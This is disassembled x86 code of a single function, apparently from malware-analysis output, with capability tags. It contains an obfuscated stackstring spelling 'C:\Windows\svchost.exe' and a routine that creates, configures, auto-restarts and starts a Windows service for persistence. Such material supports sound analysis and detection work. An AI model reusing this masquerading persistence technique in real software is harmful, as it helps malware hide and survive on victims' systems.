Function at 0x406620
Capabilities:
Contain obfuscated stackstrings
Create service
Modify service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40a340
push 0x409786
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x370
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x11c]
push eax
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov byte [ebp - 0x134], 0x43
mov byte [ebp - 0x133], 0x3a
mov dl, 0x5c
mov byte [ebp - 0x132], dl
mov byte [ebp - 0x131], 0x57
mov byte [ebp - 0x130], 0x69
mov byte [ebp - 0x12f], 0x6e
mov byte [ebp - 0x12e], 0x64
mov cl, 0x6f
mov byte [ebp - 0x12d], cl
mov byte [ebp - 0x12c], 0x77
mov al, 0x73
mov byte [ebp - 0x12b], al
mov byte [ebp - 0x12a], dl
mov byte [ebp - 0x129], al
mov byte [ebp - 0x128], 0x76
mov byte [ebp - 0x127], 0x63
mov byte [ebp - 0x126], 0x68
mov byte [ebp - 0x125], cl
mov byte [ebp - 0x124], al
mov byte [ebp - 0x123], 0x74
mov byte [ebp - 0x122], 0x2e
mov al, 0x65
mov byte [ebp - 0x121], al
mov byte [ebp - 0x120], 0x78
mov byte [ebp - 0x11f], al
mov byte [ebp - 0x11e], 0
lea ecx, [ebp - 0x134]
push ecx
push 0x40d804
lea edx, [ebp - 0x238]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x23c], esi
xor ebx, ebx
mov dword [ebp - 0x240], ebx
mov dword [ebp - 0x244], esi
mov dword [ebp - 4], esi
push 0xf003f
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
mov dword [ebp - 0x244], edi
cmp edi, esi
je 0x40690e
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x238]
push eax
push 1
push 2
push 0x110
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebx, eax
mov dword [ebp - 0x240], ebx
push edi
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [ebp - 0x248], eax
mov dword [ebp - 0x24c], str.Cdefgh
lea eax, [ebp - 0x24c]
push eax
push 1
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov dword [ebp - 0x260], esi
xor ecx, ecx
mov dword [ebp - 0x25c], ecx
mov dword [ebp - 0x258], ecx
mov dword [ebp - 0x254], ecx
mov dword [ebp - 0x250], ecx
mov dword [ebp - 0x25c], esi
mov dword [ebp - 0x260], 0x15180
mov dword [ebp - 0x274], 0x1b58
mov eax, 1
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x26c], esi
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x264], esi
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x254], 3
lea edx, [ebp - 0x278]
mov dword [ebp - 0x250], edx
mov dword [ebp - 0x258], esi
lea eax, [ebp - 0x260]
push eax
push 2
push ebx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov ecx, dword [ebp - 0x248]
push ecx
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
cmp ebx, esi
jne 0x406873
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x406873
push 0xf01ff
mov edx, dword [ebp + 8]
push edx
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
mov dword [ebp - 0x240], ebx
cmp ebx, esi
je 0x40690e
push esi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x40690e
mov ecx, str.SYSTEMCurrentControlSetServices_
lea edx, [ebp - 0x37c]
mov al, byte [ecx]
mov byte [edx], al
inc ecx
inc edx
test al, al
jne 0x40688f
lea edx, [ebp - 0x37c]
mov edi, dword [ebp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov eax, ecx
mov edi, edx
or ecx, 0xffffffff
mov edx, eax
xor eax, eax
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x23c]
push eax
lea ecx, [ebp - 0x37c]
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov esi, dword [ebp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 1
push 0
push str.Description
mov edx, dword [ebp - 0x23c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor esi, esi
mov edi, dword [ebp - 0x244]
mov dword [ebp - 4], 0xffffffff
call fcn.00406939
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret